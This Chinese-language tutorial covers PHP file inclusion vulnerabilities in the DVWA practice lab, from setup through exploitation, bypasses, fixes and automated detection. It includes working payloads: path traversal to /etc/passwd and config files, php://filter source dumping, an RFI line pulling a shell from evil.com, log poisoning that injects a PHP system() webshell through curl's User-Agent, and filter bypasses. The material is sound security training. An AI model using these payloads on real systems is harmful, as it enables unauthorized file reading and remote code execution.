1. 文件包含漏洞的本质与危害
文件包含漏洞(File Inclusion Vulnerability)是Web安全领域中一种常见的高危漏洞类型,尤其在PHP语言开发的系统中更为普遍。它的核心成因在于程序在引入外部文件时,未对用户可控的文件路径参数进行充分校验,导致攻击者能够通过构造恶意参数读取或执行非预期的系统文件。
1.1 漏洞产生原理
当开发者使用PHP的include、require、include_once、require_once等函数时,如果被包含的文件路径全部或部分来自用户输入(如$_GET、$_POST等),且未做严格过滤,就可能出现文件包含漏洞。例如:
<?php $page = $_GET['page']; include($page . '.php'); ?>攻击者通过构造?page=../../../etc/passwd%00这样的参数(在PHP<5.3.4时可以利用%00截断),就能读取服务器上的敏感文件。这种攻击方式称为本地文件包含(Local File Inclusion, LFI)。
更危险的情况是远程文件包含(Remote File Inclusion, RFI),当allow_url_include配置开启时,攻击者可以直接包含远程服务器上的恶意脚本:
http://vuln-site.com/?page=http://evil.com/shell.txt1.2 实际危害场景
文件包含漏洞可能造成以下严重后果:
- 敏感信息泄露(如
/etc/passwd、数据库配置文件) - 服务器端脚本执行(通过包含日志文件、上传临时文件等)
- 远程代码执行(RFI情况下直接包含恶意脚本)
- 配合文件上传漏洞实现webshell植入
提示:PHP 5.3.4之后官方修复了
%00截断问题,但开发者仍需注意路径遍历(../)和协议封装(php://、phar://等)带来的风险。
2. DVWA靶场环境搭建
DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用,包含文件包含在内的多种漏洞场景。下面介绍两种主流搭建方式。
2.1 使用Docker快速部署
对于想快速上手的用户,推荐使用Docker方式:
# 拉取官方镜像 docker pull vulnerables/web-dvwa # 运行容器(映射到本地8080端口) docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa启动后访问http://localhost:8080,默认登录凭证:
- 用户名:
admin - 密码:
password
2.2 手动安装(适合学习完整过程)
准备LAMP环境:
- Linux系统或Windows WSL
- Apache (
sudo apt install apache2) - MySQL (
sudo apt install mysql-server) - PHP 7.x (
sudo apt install php libapache2-mod-php php-mysql)
下载并配置DVWA:
wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip sudo mv DVWA-master /var/www/html/dvwa cd /var/www/html/dvwa cp config/config.inc.php.dist config/config.inc.php- 修改配置文件:
// config/config.inc.php $_DVWA = array( 'db_server' => '127.0.0.1', 'db_database' => 'dvwa', 'db_user' => 'dvwa', 'db_password' => 'p@ssw0rd', 'db_port' => '3306', );- 初始化数据库:
mysql -u root -p CREATE DATABASE dvwa; CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; exit访问http://localhost/dvwa/setup.php完成安装,点击"Create/Reset Database"按钮。
3. DVWA文件包含漏洞实战
将DVWA安全级别设置为"Low"(安全级别影响防护强度),进入"File Inclusion"模块。
3.1 基础漏洞利用
页面默认包含include.php文件,观察URL参数:
http://localhost/dvwa/vulnerabilities/fi/?page=file1.php尝试修改参数:
读取服务器文件:
?page=../../../../etc/passwd成功显示系统用户信息即证明漏洞存在。
结合PHP伪协议:
?page=php://filter/convert.base64-encode/resource=index.php获取页面源码的base64编码,解码后可得完整源代码。
3.2 进阶利用技巧
日志文件包含攻击
- 确认Apache日志路径(通常为
/var/log/apache2/access.log) - 通过User-Agent注入PHP代码:
curl -A "<?php system($_GET['cmd']);?>" http://target.com/ - 包含日志文件执行命令:
?page=../../../../var/log/apache2/access.log&cmd=id
PHP Session文件包含
- 获取PHPSESSID(通过Cookie或phpinfo)
- 猜测session文件路径(如
/tmp/sess_[id]) - 向session中注入代码后包含:
?page=../../../../tmp/sess_abc123def456
3.3 不同安全级别的绕过
Medium级别防护
查看源码发现过滤了../和http:
$file = str_replace(array("../", "..\""), "", $file);绕过方法:
- 双写绕过:
..././→ 替换后变为../ - 绝对路径:直接使用
/var/www/html/dvwa/hackable/uploads/shell.php
High级别防护
要求文件名必须以file开头:
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { echo "ERROR: File not found!"; exit; }绕过方法:
- 利用文件协议和目录穿越:
?page=file:///var/www/html/dvwa/config/config.inc.php
4. 漏洞修复方案
4.1 开发层面的防护
- 白名单校验(推荐):
$allowed = ['file1.php', 'file2.php', 'file3.php']; if(!in_array($file, $allowed)) { die('非法访问!'); }- 硬编码文件路径:
$pages = [ 'home' => 'files/home.php', 'about' => 'files/about.php' ]; include($pages[$_GET['page']]);- 禁用危险函数:
; php.ini allow_url_fopen = Off allow_url_include = Off4.2 系统层面的加固
- 配置open_basedir限制访问范围:
open_basedir = /var/www/html/- 设置文件权限:
# 关键目录不可写 chmod -R 755 /var/www/html/ chown -R www-data:www-data /var/www/html/- 定期更新PHP版本,修复已知漏洞。
5. 自动化漏洞检测实践
5.1 使用Burp Suite扫描
- 配置代理后拦截文件包含请求
- 发送到Intruder模块
- 设置payload为常见敏感路径:
../../../../etc/passwd ../../../../windows/win.ini php://filter/convert.base64-encode/resource=index.php
5.2 编写Python检测脚本
import requests target = "http://localhost/dvwa/vulnerabilities/fi/" cookies = {"security": "low", "PHPSESSID": "your_session_id"} payloads = [ "../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index.php", "/proc/self/environ" ] for payload in payloads: r = requests.get(target, params={"page": payload}, cookies=cookies) if "root:" in r.text or "PD9waHA" in r.text: print(f"[+] Vulnerable to {payload}")5.3 使用Yakit工具
- 安装Yakit(https://github.com/yaklang/yakit)
- 创建新项目 → Web漏洞扫描
- 输入目标URL并选择"文件包含"检测模块
- 查看扫描报告中的风险项
我在实际渗透测试中发现,很多开发团队会修复常规的文件包含但忽略PHP伪协议的风险。特别是在处理文件上传功能时,phar://协议往往能绕过常规的文件类型检查。建议在代码审计时特别注意所有文件操作函数的使用场景。